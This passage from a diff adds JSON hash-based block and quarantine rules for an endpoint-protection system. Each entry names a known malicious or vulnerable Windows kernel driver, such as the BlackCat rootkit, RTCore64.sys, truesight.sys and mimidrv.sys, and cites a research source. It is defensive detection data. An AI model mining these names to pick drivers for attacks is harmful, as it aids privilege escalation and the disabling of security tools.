+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985502Z",
+  "creation_date": "2026-03-23T11:45:29.985504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0527451d72ba02db8479ea69689350cc563b939bb2cc685386719ab32b7e2772",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka fgme.sys, ktes.sys, kt2.sys and ktgn.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c300dbfb-a7db-5fff-9096-cfc2bdce8cb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460522Z",
+  "creation_date": "2026-03-23T11:45:30.460525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c181ce9a57e8d763db89ba7c45702a8cf66ef1bb58e3f21874cf0265711f886b",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c307edb6-2ce6-5c6f-a701-a46e214e8348",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481748Z",
+  "creation_date": "2026-03-23T11:45:30.481750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "223f61c3f443c5047d1aeb905b0551005a426f084b7a50384905e7e4ecb761a1",
+  "comment": "Vulnerable Kernel Driver (aka cg6kwin2k.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c31428c3-3159-57dc-bb8a-982f0d64d27d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829149Z",
+  "creation_date": "2026-03-23T11:45:30.829151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829157Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58be5999562f2541e29eb5a0890637a4a1b78df9ba96637475772ce4a67da4d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3237d36-c384-558b-8653-4fda838c57ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979030Z",
+  "creation_date": "2026-03-23T11:45:29.979031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x64.sys) [https://www.loldrivers.io/drivers/48bc2815-85ec-4436-a51a-69810c8cb171/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c33020aa-b4ab-5491-815d-514375805cf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145372Z",
+  "creation_date": "2026-03-23T11:45:32.145375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1123b59a801e243a64270d0c6ab1277e5e3afba9c19023807409f53c1b0204b",
+  "comment": "Malicious Kernel Driver (aka driver_e1123b59.sys) [https://www.loldrivers.io/drivers/11a73c42-26aa-446b-8560-43eecb265091/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c33a6738-3af8-5162-8bda-a0d4c42f5d74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967986Z",
+  "creation_date": "2026-03-23T11:45:29.967988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13b82d81d6eac1a8b2e4655504dabecbd70673cdf45c244702a02f3397fdff9a",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c33e74d6-bd7d-517f-8a60-b158f141b597",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458222Z",
+  "creation_date": "2026-03-23T11:45:30.458225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "003e61358878c7e49e18420ee0b4a37b51880be40929a76e529c7b3fb18e81b4",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c34674da-9ffe-5dd6-b627-4a05475a69d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986101Z",
+  "creation_date": "2026-03-23T11:45:29.986103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ce1073705194870175a8b9c9ebbbb7ad54df81849b111588ea8aeef910da987",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3534a7c-5a06-5327-b21d-a3e0bd091c06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159474Z",
+  "creation_date": "2026-03-23T11:45:31.159476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "997cffe72ff84747a895dd9e18c533cc52d3b655071dcbe24e9834368d6adcf3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3595160-9bb3-5eb4-af75-b8e3117b56aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610318Z",
+  "creation_date": "2026-03-23T11:45:29.610319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610325Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c35f99ca-4745-544c-8bf7-9d1e46f9e8d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622245Z",
+  "creation_date": "2026-03-23T11:45:29.622247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f67e60228084151fdcb84e94a48693db864cf606b65faef5a1d829175380dbfa",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c365a593-fabd-5d91-9cc2-af65bf473a2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831398Z",
+  "creation_date": "2026-03-23T11:45:30.831402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa9c83e8ca1ab46f4670b32fb4f43a3dd76bd1d12f650d3122ec51ce6c80dd03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c384338a-fe77-5c16-9300-aa501bfcddb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484273Z",
+  "creation_date": "2026-03-23T11:45:31.484277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "caea1a15e28a16bb027e18b3c1e7b809f59d773a1f3be77e2fe97affd375faf2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c389d294-a103-594e-9030-04354aabff1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817995Z",
+  "creation_date": "2026-03-23T11:45:30.817997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "abb507455dd1e23e91753f17d6d7a8a5d6572e288f25eb75e4cbdd2e60adae88",
+  "comment": "Vulnerable Kernel Driver (aka sepdrv3_1.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c38c975e-3947-5476-9f8b-f0a7454cc623",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147003Z",
+  "creation_date": "2026-03-23T11:45:32.147006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e9f3f58005d62b241874e9790d457d0fbffc101062166f70a5c27aceefdde36",
+  "comment": "Vulnerable Kernel Driver (aka TPwSav.sys) [https://www.loldrivers.io/drivers/c0634ed7-840e-4a7e-8b34-33efe50405c2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3969cf0-436e-58a0-8600-b77544e7aba3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822308Z",
+  "creation_date": "2026-03-23T11:45:31.822311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "181d4651f614e8ae094c77a43785ec9a4627b53d75350ee25ba22bd4d4fba3c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c39fcac6-ea6d-586a-9968-e2f798685115",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151020Z",
+  "creation_date": "2026-03-23T11:45:31.151022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151027Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c5beec296982c6f5ca83adfc9c5f9bc5af81a32abef8b8a15d2df7e21058020",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3afbb13-97fe-508d-8996-6028b6d7f653",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828902Z",
+  "creation_date": "2026-03-23T11:45:31.828904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828909Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3634f9f7ab91b99004b42da85f26fe2b19ad7692a0a49068869a9ece332a3f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3bd6b2e-1d3a-521a-a478-c47e36ea54b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468199Z",
+  "creation_date": "2026-03-23T11:45:30.468202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4d7e16649ce3c7ad9355e8d7418a4c234b3763e262f8ccfbda4bc64a402ed27",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3bd97a6-a966-5251-b946-e5fbe8c741dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814012Z",
+  "creation_date": "2026-03-23T11:45:31.814016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ce251a2b592afefdcae1a9a6458eea982cb84c79fbd7a23d60735e8e2f7cc53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3bdb0b3-0b6f-5dae-a2c8-58aae4d53529",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143986Z",
+  "creation_date": "2026-03-23T11:45:31.143988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f118e7bd5e3ae74fcd7fdcb71777e30935196495a09bddf01d8f4cc1c0ee5dd3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3bf4a8d-4187-540d-b69e-34b8d46c7367",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
